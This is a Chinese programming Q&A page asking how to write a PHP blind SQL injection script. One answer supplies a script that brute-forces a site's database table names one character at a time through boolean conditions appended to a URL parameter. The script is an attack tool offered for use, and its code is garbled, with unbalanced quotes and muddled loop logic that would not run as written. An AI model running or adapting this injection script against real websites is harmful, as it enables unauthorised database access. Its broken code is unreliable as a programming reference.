返回顶部
首页 > 问答 > 后端 > php的盲注脚本怎么写
0
待解决

php的盲注脚本怎么写

  • 匿名发布
  • 2023-05-09
  • 发布在 问答/后端
14

其他回答1

渊鱼

2023-06-13

以下是一个简单的PHP盲注脚本示例,它可以用于获取数据库中的表名:

<?php
// 设置目标URL
$url = "http://example.com/index.php?id=1";

// 设置要查询的字符集
$charset = "abcdefghijklmnopqrstuvwxyz0123456789";

// 初始化表名
$table_name = "";

// 构造查询语句
$query = "1" AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>=";

for ($i = 1; $i <= 20; $i++) {
    // 构造查询语句
    $query_length = $query . $i;
    $query_length .= " AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)="";

    // 构造查询语句
    for ($j = 0; $j < strlen($charset); $j++) {
        $query_table = $query_length . $charset[$j] . "")";

        // 发送HTTP请求
        $response = file_get_contents($url . $query_table);

        // 判断是否成功
        if (strpos($response, "something") !== false) {
            $table_name .= $charset[$j];
            break;
        }
    }

    // 如果表名长度超出,则退出循环
    if (strlen($table_name) == $i) {
        break;
    }
}

// 输出表名
echo "Table Name: " . $table_name;
?>

上面的代码使用了一个嵌套的循环,用于逐个字符地猜测表名。如果查询成功,则将该字符添加到表名中。此外,它还使用了字符串函数SUBSTRING来获取表名的每个字符。

相关问题
2

回答

99+

浏览

2023-05-09提问
2

回答

99+

浏览

2023-05-08提问
2

回答

99+

浏览

2023-05-09提问
2

回答

99+

浏览

2023-05-09提问
2

回答

99+

浏览

2023-05-09提问
2

回答

99+

浏览

2023-05-09提问
2

回答

99+

浏览

2023-05-08提问
2

回答

99+

浏览

2023-05-09提问
2

回答

99+

浏览

2023-05-09提问
2

回答

99+

浏览

2023-05-08提问
相关文章
  • 怎么编写Python脚本
    本篇内容介绍了“怎么编写Python脚本”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Streamlit是第一个专门针对机器学习和数据科学团...
    99+
    标签:
  • catalog.sql脚本怎么编写
    这篇文章给大家介绍catalog.sql脚本怎么编写,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。        前面介绍了如何通过手工创建数据库,...
    99+
    标签:
  • BAT脚本怎么编写
    这篇文章将为大家详细讲解有关BAT脚本怎么编写,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们...
    99+
    标签:
  • Linux PXE脚本怎么写
    这篇“Linux PXE脚本怎么写”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Linux PXE脚本怎么写”文章吧。PXE...
    99+
    标签:
  • PYTHON测试脚本怎么写
    PYTHON测试脚本怎么写,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。#!/usr/bin/python# -*- coding: UTF-8 -*-#CHECK ORA...
    99+
    标签:
  • Python高级脚本怎么写
    这篇文章主要介绍“Python高级脚本怎么写”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Python高级脚本怎么写”文章能帮助大家解决问题。1、Jpg转Png图片格式转换,以前小F可能第一时间想到...
    99+
    标签:
  • PHP批量文件重命名脚本怎么写
    这篇“PHP批量文件重命名脚本怎么写”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“PHP批量文件重命名脚本怎么写”文章吧。P...
    99+
    标签:
  • centos中怎么编写shell脚本
    在CentOS中编写Shell脚本主要有以下几个步骤: 打开终端,创建一个新文件,例如script.sh,可以使用touch s...
    99+
    标签:
    centos shell
  • oracle 10g安装脚本怎么写
    这篇文章主要介绍oracle 10g安装脚本怎么写,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!#!/bin/shcat <<EOF  >  /...
    99+
    标签:
  • 日志删除脚本怎么写
    这篇文章主要介绍了日志删除脚本怎么写,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。 #!/bin/bashfu...
    99+
    标签:
  • 数据库的挖矿脚本怎么写
    本篇内容介绍了“数据库的挖矿脚本怎么写”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!01.Code 1#!/bin/sh脚本的第一行,看起来...
    99+
    标签:
  • python10.4备份脚本的代码怎么写
    python10.4备份脚本的代码怎么写,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。版本四的代码是相当长的,所以很多人对其有束手无策之感,但是你通过以下的代码对其,有更好...
    99+
    标签:
  • vbs定时执行脚本怎么写
    在VBS脚本中,可以使用`WScript.Sleep`方法来实现定时执行脚本的功能。具体的写法如下: Do ' 在此处编写需...
    99+
    标签:
    vbs
  • linux安全加固脚本怎么写
    编写Linux安全加固脚本需要考虑以下方面:1. 禁止不必要的服务和端口:通过关闭不必要的服务和端口来减少系统暴露的攻击面。2. 配...
    99+
    标签:
    linux安全加固 linux
  • linux怎么编写shell集群脚本
    编写一个Shell集群脚本可以实现以下步骤:1. 在主节点上创建一个Shell脚本文件,例如cluster.sh。2. 在clust...
    99+
    标签:
    shell linux
  • 怎么编写SQLSRVER同步ID脚本
    本篇内容主要讲解“怎么编写SQLSRVER同步ID脚本”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么编写SQLSRVER同步ID脚本”吧!USE ...
    99+
    标签:
  • redis启动管理脚本怎么写
    这篇文章主要介绍redis启动管理脚本怎么写,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!我是源码安装的redis-3.0.5安装路径/usr/local/redis编辑创建脚本文件...
    99+
    标签:
  • MySQL一键优化脚本怎么写
    MySQL一键优化脚本怎么写,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。概述今天主要分享下一个改写后的mysql一键优化脚本。环境准备模...
    99+
    标签:
  • Debian装机脚本代码怎么写
    这期内容当中小编将会给大家带来有关Debian装机脚本代码怎么写,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。代码如下:#!/bin/bashSUCCESS=0 function checkInst(){...
    99+
    标签:
  • python自动打卡脚本怎么写
    编写一个Python自动打卡脚本可以参考以下步骤:1. 导入所需的库:`requests`用于发送HTTP请求,`time`用于设置...
    99+
    标签:
    python
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作